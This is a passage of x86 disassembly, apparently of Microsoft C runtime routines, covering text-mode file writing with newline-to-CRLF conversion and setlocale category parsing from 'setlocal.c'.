		cmp	ecx, 400h
		jge	short loc_4306F7
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_4306F7
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_41C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		movsx	ecx, [ebp+var_41C]
		cmp	ecx, 0Ah
		jnz	short loc_4306E1
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0Dh
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4306E1:				; CODE XREF: sub_4305E0+E1j
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_41C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_430685
; ---------------------------------------------------------------------------


loc_4306F7:				; CODE XREF: sub_4305E0+B6j
					; sub_4305E0+C1j
		push	0
		lea	edx, [ebp+var_418]
		push	edx
		mov	eax, [ebp+var_8]
		lea	ecx, [ebp+var_414]
		sub	eax, ecx
		push	eax
		lea	edx, [ebp+var_414]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	near ptr 28407DDh
		nop
		test	eax, eax
		jz	short loc_43075A
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_418]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_414]
		sub	edx, eax
		cmp	[ebp+var_418], edx
		jge	short loc_430758
		jmp	short loc_43076A
; ---------------------------------------------------------------------------


loc_430758:				; CODE XREF: sub_4305E0+174j
		jmp	short loc_430765
; ---------------------------------------------------------------------------


loc_43075A:				; CODE XREF: sub_4305E0+155j
		call	near ptr 27B0F7Fh
		nop
		mov	[ebp+var_C], eax
		jmp	short loc_43076A
; ---------------------------------------------------------------------------


loc_430765:				; CODE XREF: sub_4305E0:loc_430758j
		jmp	loc_43066D
; ---------------------------------------------------------------------------


loc_43076A:				; CODE XREF: sub_4305E0+96j
					; sub_4305E0+176j ...
		jmp	short loc_4307BC
; ---------------------------------------------------------------------------


loc_43076C:				; CODE XREF: sub_4305E0+7Aj
		push	0
		lea	ecx, [ebp+var_418]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		mov	ecx, [eax+edx]
		push	ecx
		call	near ptr 28407DDh
		nop
		test	eax, eax
		jz	short loc_4307B3
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_418]
		mov	[ebp+var_10], edx
		jmp	short loc_4307BC
; ---------------------------------------------------------------------------


loc_4307B3:				; CODE XREF: sub_4305E0+1BFj
		call	near ptr 27B0F7Fh
		nop
		mov	[ebp+var_C], eax


loc_4307BC:				; CODE XREF: sub_4305E0:loc_43076Aj
					; sub_4305E0+1D1j
		cmp	[ebp+var_10], 0
		jnz	loc_430846
		cmp	[ebp+var_C], 0
		jz	short loc_4307FA
		cmp	[ebp+var_C], 5
		jnz	short loc_4307E9
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		jmp	short loc_4307F5
; ---------------------------------------------------------------------------


loc_4307E9:				; CODE XREF: sub_4305E0+1F0j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_42C140
		add	esp, 4


loc_4307F5:				; CODE XREF: sub_4305E0+207j
		or	eax, 0FFFFFFFFh
		jmp	short loc_43084F
; ---------------------------------------------------------------------------


loc_4307FA:				; CODE XREF: sub_4305E0+1EAj
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_43082B
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 1Ah
		jnz	short loc_43082B
		xor	eax, eax
		jmp	short loc_43084F
; ---------------------------------------------------------------------------


loc_43082B:				; CODE XREF: sub_4305E0+23Aj
					; sub_4305E0+245j
		call	sub_42C1E0
		mov	dword ptr [eax], 1Ch
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_43084F
; ---------------------------------------------------------------------------


loc_430846:				; CODE XREF: sub_4305E0+1E0j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_420]


loc_43084F:				; CODE XREF: sub_4305E0+21j
					; sub_4305E0+218j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4305E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0B0h
		cmp	dword ptr [ebp+8], 0
		jl	short loc_430875
		cmp	dword ptr [ebp+8], 5
		jle	short loc_43087C


loc_430875:				; CODE XREF: .XComp0:0043086Dj
		xor	eax, eax
		jmp	loc_430C4B
; ---------------------------------------------------------------------------


loc_43087C:				; CODE XREF: .XComp0:00430873j
		push	13h
		call	sub_425990
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		mov	eax, dword_4E96A4
		add	eax, 1
		mov	dword_4E96A4, eax


loc_43089A:				; CODE XREF: .XComp0:004308ABj
		cmp	dword_4E96A8, 0
		jz	short loc_4308AD
		push	1
		nop
		call	near ptr 27B048Ah
		jmp	short loc_43089A
; ---------------------------------------------------------------------------


loc_4308AD:				; CODE XREF: .XComp0:004308A1j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4308F1
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_4308D1
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_430C50
		add	esp, 8
		mov	[ebp-0A8h], eax
		jmp	short loc_4308E3
; ---------------------------------------------------------------------------


loc_4308D1:				; CODE XREF: .XComp0:004308B7j
		mov	eax, [ebp+8]
		imul	eax, 0Ch
		mov	ecx, dword_4529D4[eax]
		mov	[ebp-0A8h], ecx


loc_4308E3:				; CODE XREF: .XComp0:004308CFj
		mov	edx, [ebp-0A8h]
		mov	[ebp-8], edx
		jmp	loc_430C2B
; ---------------------------------------------------------------------------


loc_4308F1:				; CODE XREF: .XComp0:004308B1j
		mov	dword ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_430C23
		mov	eax, [ebp+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 4Ch
		jnz	loc_430B34
		mov	edx, [ebp+0Ch]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 43h
		jnz	loc_430B34
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Fh
		jnz	loc_430B34
		mov	eax, [ebp+0Ch]
		mov	[ebp-9Ch], eax


loc_430941:				; CODE XREF: .XComp0:00430B03j
		push	offset asc_43F36C ; "=;"
		mov	ecx, [ebp-9Ch]
		push	ecx
		call	sub_436F80
		add	esp, 8
		mov	[ebp-0A0h], eax
		cmp	dword ptr [ebp-0A0h], 0
		jz	short loc_43098D
		mov	edx, [ebp-0A0h]
		sub	edx, [ebp-9Ch]
		mov	[ebp-0A4h], edx
		cmp	dword ptr [ebp-0A4h], 0
		jz	short loc_43098D
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jnz	short loc_4309B3


loc_43098D:				; CODE XREF: .XComp0:00430962j
					; .XComp0:0043097Dj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4309AC
		push	13h
		call	sub_425A30
		add	esp, 4
		mov	edx, dword_4E96A4
		sub	edx, 1
		mov	dword_4E96A4, edx


loc_4309AC:				; CODE XREF: .XComp0:00430991j
		xor	eax, eax
		jmp	loc_430C4B
; ---------------------------------------------------------------------------


loc_4309B3:				; CODE XREF: .XComp0:0043098Bj
		mov	dword ptr [ebp-10h], 1
		jmp	short loc_4309C5
; ---------------------------------------------------------------------------


loc_4309BC:				; CODE XREF: .XComp0:loc_430A11j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_4309C5:				; CODE XREF: .XComp0:004309BAj
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_430A13
		mov	ecx, [ebp-0A4h]
		push	ecx
		mov	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, off_4529D0[eax]
		push	ecx
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_430A11
		mov	edx, [ebp-10h]
		imul	edx, 0Ch
		mov	eax, off_4529D0[edx]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		cmp	[ebp-0A4h], eax
		jnz	short loc_430A11
		jmp	short loc_430A13
; ---------------------------------------------------------------------------


loc_430A11:				; CODE XREF: .XComp0:004309F0j
					; .XComp0:00430A0Dj
		jmp	short loc_4309BC
; ---------------------------------------------------------------------------


loc_430A13:				; CODE XREF: .XComp0:004309C9j
					; .XComp0:00430A0Fj
		push	offset asc_43F368 ; ";"
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	[ebp-0A0h], ecx
		mov	edx, [ebp-0A0h]
		push	edx
		call	sub_436F40
		add	esp, 8
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jnz	short loc_430A79
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jz	short loc_430A79
		cmp	dword ptr [ebp-4], 0
		jz	short loc_430A72
		push	13h
		call	sub_425A30
		add	esp, 4
		mov	edx, dword_4E96A4
		sub	edx, 1
		mov	dword_4E96A4, edx


loc_430A72:				; CODE XREF: .XComp0:00430A57j
		xor	eax, eax
		jmp	loc_430C4B
; ---------------------------------------------------------------------------


loc_430A79:				; CODE XREF: .XComp0:00430A43j
					; .XComp0:00430A51j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_430ACA
		mov	eax, [ebp-0A4h]
		push	eax
		mov	ecx, [ebp-0A0h]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp-0A4h]
		mov	byte ptr [ebp+eax-98h],	0
		lea	ecx, [ebp-98h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_430C50
		add	esp, 8
		test	eax, eax
		jz	short loc_430ACA
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_430ACA:				; CODE XREF: .XComp0:00430A7Dj
					; .XComp0:00430ABFj
		mov	ecx, [ebp-0A0h]
		add	ecx, [ebp-0A4h]
		mov	[ebp-9Ch], ecx
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_430AF8
		mov	ecx, [ebp-9Ch]
		add	ecx, 1
		mov	[ebp-9Ch], ecx


loc_430AF8:				; CODE XREF: .XComp0:00430AE7j
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	loc_430941
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_430B1C
		call	sub_430DF0
		mov	[ebp-0ACh], eax
		jmp	short loc_430B26
; ---------------------------------------------------------------------------


loc_430B1C:				; CODE XREF: .XComp0:00430B0Dj
		mov	dword ptr [ebp-0ACh], 0


loc_430B26:				; CODE XREF: .XComp0:00430B1Aj
		mov	ecx, [ebp-0ACh]
		mov	[ebp-8], ecx
		jmp	loc_430C21
; ---------------------------------------------------------------------------


loc_430B34:				; CODE XREF: .XComp0:00430912j
					; .XComp0:00430922j ...
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_430EF0
		add	esp, 14h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_430C21
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_430B6E
; ---------------------------------------------------------------------------


loc_430B65:				; CODE XREF: .XComp0:loc_430BCEj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_430B6E:				; CODE XREF: .XComp0:00430B63j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_430BD0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_430BCE
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, dword_4529D4[eax]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jz	short loc_430BC5
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_430C50
		add	esp, 8
		test	eax, eax
		jz	short loc_430BBC
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx
		jmp	short loc_430BC3
; ---------------------------------------------------------------------------


loc_430BBC:				; CODE XREF: .XComp0:00430BAFj
		mov	dword ptr [ebp-14h], 0


loc_430BC3:				; CODE XREF: .XComp0:00430BBAj
		jmp	short loc_430BCE
; ---------------------------------------------------------------------------


loc_430BC5:				; CODE XREF: .XComp0:00430B98j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_430BCE:				; CODE XREF: .XComp0:00430B78j
					; .XComp0:loc_430BC3j
		jmp	short loc_430B65
; ---------------------------------------------------------------------------


loc_430BD0:				; CODE XREF: .XComp0:00430B72j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_430BFB
		call	sub_430DF0
		mov	[ebp-8], eax
		push	2
		mov	ecx, dword_4529D4
		push	ecx
		call	sub_41F970
		add	esp, 8
		mov	dword_4529D4, 0
		jmp	short loc_430C21
; ---------------------------------------------------------------------------


loc_430BFB:				; CODE XREF: .XComp0:00430BD4j
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_430C0E
		call	sub_430DF0
		mov	[ebp-0B0h], eax
		jmp	short loc_430C18
; ---------------------------------------------------------------------------


loc_430C0E:				; CODE XREF: .XComp0:00430BFFj
		mov	dword ptr [ebp-0B0h], 0


loc_430C18:				; CODE XREF: .XComp0:00430C0Cj
		mov	edx, [ebp-0B0h]
		mov	[ebp-8], edx


loc_430C21:				; CODE XREF: .XComp0:00430B2Fj
					; .XComp0:00430B56j ...
		jmp	short loc_430C2B
; ---------------------------------------------------------------------------


loc_430C23:				; CODE XREF: .XComp0:00430903j
		call	sub_430DF0
		mov	[ebp-8], eax


loc_430C2B:				; CODE XREF: .XComp0:004308ECj
					; .XComp0:loc_430C21j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_430C48
		push	13h
		call	sub_425A30
		add	esp, 4
		mov	eax, dword_4E96A4
		sub	eax, 1
		mov	dword_4E96A4, eax


loc_430C48:				; CODE XREF: .XComp0:00430C2Fj
		mov	eax, [ebp-8]


loc_430C4B:				; CODE XREF: .XComp0:00430877j
					; .XComp0:004309AEj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430C50	proc near		; CODE XREF: .XComp0:004308C1p
					; .XComp0:00430AB5p ...

var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_A0]
		push	ecx
		lea	edx, [ebp+var_A8]
		push	edx
		lea	eax, [ebp+var_9C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_430EF0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_430C89
		xor	eax, eax
		jmp	loc_430DDF
; ---------------------------------------------------------------------------


loc_430C89:				; CODE XREF: sub_430C50+30j
		push	132h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		lea	edx, [ebp+var_9C]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_430CC0
		xor	eax, eax
		jmp	loc_430DDF
; ---------------------------------------------------------------------------


loc_430CC0:				; CODE XREF: sub_430C50+67j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, dword_4529D4[eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4E92DC[edx*4]
		mov	[ebp+var_4], eax
		push	6
		mov	ecx, [ebp+arg_0]
		imul	ecx, 6
		add	ecx, offset dword_4E9454
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, dword_4E92F4
		mov	[ebp+var_18], eax
		lea	ecx, [ebp+var_9C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_422580
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	dword_4529D4[ecx], eax
		mov	edx, [ebp+var_A8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	dword_4E92DC[eax*4], edx
		push	6
		lea	ecx, [ebp+var_A8]
		push	ecx
		mov	edx, [ebp+arg_0]
		imul	edx, 6
		add	edx, offset dword_4E9454
		push	edx
		call	sub_422B50
		add	esp, 0Ch
		cmp	[ebp+arg_0], 2
		jnz	short loc_430D63
		mov	eax, [ebp+var_A0]
		mov	dword_4E92F4, eax


loc_430D63:				; CODE XREF: sub_430C50+106j
		cmp	[ebp+arg_0], 1
		jnz	short loc_430D75
		mov	ecx, [ebp+var_A0]
		mov	dword_4E92F8, ecx


loc_430D75:				; CODE XREF: sub_430C50+117j
		mov	edx, [ebp+arg_0]
		imul	edx, 0Ch
		call	off_4529D8[edx]
		test	eax, eax
		jz	short loc_430DBC
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_C]
		mov	dword_4529D4[eax], ecx
		push	2
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4E92DC[eax*4], ecx
		mov	edx, [ebp+var_18]
		mov	dword_4E92F4, edx
		xor	eax, eax
		jmp	short loc_430DDF
; ---------------------------------------------------------------------------


loc_430DBC:				; CODE XREF: sub_430C50+133j
		cmp	[ebp+var_C], offset dword_4528C4
		jz	short loc_430DD3
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_430DD3:				; CODE XREF: sub_430C50+173j
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	eax, dword_4529D4[ecx]


loc_430DDF:				; CODE XREF: sub_430C50+34j
					; sub_430C50+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_430C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430DF0	proc near		; CODE XREF: .XComp0:00430B0Fp
					; .XComp0:00430BD6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 1
		cmp	dword_4529D4, 0
		jnz	short loc_430E24
		push	167h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		push	351h
		call	sub_41EDD0
		add	esp, 10h
		mov	dword_4529D4, eax


loc_430E24:				; CODE XREF: sub_430DF0+14j
		mov	eax, dword_4529D4
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1
		jmp	short loc_430E3E
; ---------------------------------------------------------------------------


loc_430E35:				; CODE XREF: sub_430DF0:loc_430EE7j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_430E3E:				; CODE XREF: sub_430DF0+43j
		mov	edx, [ebp+var_4]
		imul	edx, 0Ch
		mov	eax, dword_4529D4[edx]
		push	eax
		push	offset asc_43F37C ; "="
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, off_4529D0[ecx]
		push	edx
		push	3
		mov	eax, dword_4529D4
		push	eax
		call	sub_431090
		add	esp, 14h
		cmp	[ebp+var_4], 5
		jge	short loc_430EB9
		push	offset asc_43F368 ; ";"
		mov	ecx, dword_4529D4
		push	ecx
		call	sub_422590
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, 1
		imul	edx, 0Ch
		mov	eax, dword_4529D4[edx]
		push	eax
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, dword_4529D4[ecx]
		push	edx
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jz	short loc_430EB7
		mov	[ebp+var_8], 0


loc_430EB7:				; CODE XREF: sub_430DF0+BEj
		jmp	short loc_430EE7
; ---------------------------------------------------------------------------


loc_430EB9:				; CODE XREF: sub_430DF0+81j
		cmp	[ebp+var_8], 0
		jnz	short loc_430EC6
		mov	eax, dword_4529D4
		jmp	short loc_430EEC
; ---------------------------------------------------------------------------


loc_430EC6:				; CODE XREF: sub_430DF0+CDj
		push	2
		mov	eax, dword_4529D4
		push	eax
		call	sub_41F970
		add	esp, 8
		mov	dword_4529D4, 0
		mov	eax, off_4529EC
		jmp	short loc_430EEC
; ---------------------------------------------------------------------------


loc_430EE7:				; CODE XREF: sub_430DF0:loc_430EB7j
		jmp	loc_430E35
; ---------------------------------------------------------------------------


loc_430EEC:				; CODE XREF: sub_430DF0+D4j
					; sub_430DF0+F5j
		mov	esp, ebp
		pop	ebp
		retn
sub_430DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430EF0	proc near		; CODE XREF: .XComp0:00430B47p
					; sub_430C50+26p

var_88		= byte ptr -88h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		cmp	[ebp+arg_0], 0
		jnz	short loc_430F06
		xor	eax, eax
		jmp	loc_431070
; ---------------------------------------------------------------------------


loc_430F06:				; CODE XREF: sub_430EF0+Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 43h
		jnz	short loc_430F60
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_430F60
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	43h
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+1], 0
		cmp	[ebp+arg_8], 0
		jz	short loc_430F49
		mov	eax, [ebp+arg_8]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	word ptr [ecx+2], 0
		mov	edx, [ebp+arg_8]
		mov	word ptr [edx+4], 0


loc_430F49:				; CODE XREF: sub_430EF0+3Dj
		cmp	[ebp+arg_C], 0
		jz	short loc_430F58
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_430F58:				; CODE XREF: sub_430EF0+5Dj
		mov	eax, [ebp+arg_4]
		jmp	loc_431070
; ---------------------------------------------------------------------------


loc_430F60:				; CODE XREF: sub_430EF0+1Fj
					; sub_430EF0+2Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_45294C
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jz	loc_431028
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_4528C8
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jz	loc_431028
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		call	sub_4310E0
		add	esp, 8
		test	eax, eax
		jz	short loc_430FB0
		xor	eax, eax
		jmp	loc_431070
; ---------------------------------------------------------------------------


loc_430FB0:				; CODE XREF: sub_430EF0+B7j
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4E92D0
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_436FC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_430FD6
		xor	eax, eax
		jmp	loc_431070
; ---------------------------------------------------------------------------


loc_430FD6:				; CODE XREF: sub_430EF0+DDj
		xor	ecx, ecx
		mov	cx, word_4E92D4
		mov	dword_4E92D8, ecx
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_45294C
		call	sub_431240
		add	esp, 8
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_431016
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_4528C8
		call	sub_422580
		add	esp, 8
		jmp	short loc_431028
; ---------------------------------------------------------------------------


loc_431016:				; CODE XREF: sub_430EF0+111j
		push	offset dword_45294C
		push	offset dword_4528C8
		call	sub_422580
		add	esp, 8


loc_431028:				; CODE XREF: sub_430EF0+83j
					; sub_430EF0+9Cj ...
		cmp	[ebp+arg_8], 0
		jz	short loc_431041
		push	6
		push	offset dword_4E92D0
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_422B50
		add	esp, 0Ch


loc_431041:				; CODE XREF: sub_430EF0+13Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_43105A
		push	4
		push	offset dword_4E92D8
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_422B50
		add	esp, 0Ch


loc_43105A:				; CODE XREF: sub_430EF0+155j
		push	offset dword_45294C
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_422580
		add	esp, 8
		mov	eax, offset dword_45294C


loc_431070:				; CODE XREF: sub_430EF0+11j
					; sub_430EF0+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_430EF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431080	proc near		; CODE XREF: sub_430C50+12Bp
					; DATA XREF: .XComp0:off_4529D8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_431080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431090	proc near		; CODE XREF: sub_430DF0+75p
					; sub_431240+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_4310AE
; ---------------------------------------------------------------------------


loc_4310A5:				; CODE XREF: sub_431090+42j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4310AE:				; CODE XREF: sub_431090+13j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_4310D4
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx-4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422590
		add	esp, 8
		jmp	short loc_4310A5
; ---------------------------------------------------------------------------


loc_4310D4:				; CODE XREF: sub_431090+24j
		mov	[ebp+var_4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_431090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4310E0	proc near		; CODE XREF: sub_430EF0+ADp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	88h
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_43110A
		xor	eax, eax
		jmp	loc_431239
; ---------------------------------------------------------------------------


loc_43110A:				; CODE XREF: sub_4310E0+21j
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_431140
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jz	short loc_431140
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_422580
		add	esp, 8
		xor	eax, eax
		jmp	loc_431239
; ---------------------------------------------------------------------------


loc_431140:				; CODE XREF: sub_4310E0+33j
					; sub_4310E0+3Ej
		mov	[ebp+var_4], 0
		jmp	short loc_431152
; ---------------------------------------------------------------------------


loc_431149:				; CODE XREF: sub_4310E0+152j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_431152:				; CODE XREF: sub_4310E0+67j
		push	offset a___0	; "_.,"
		mov	ecx, [ebp+arg_4]
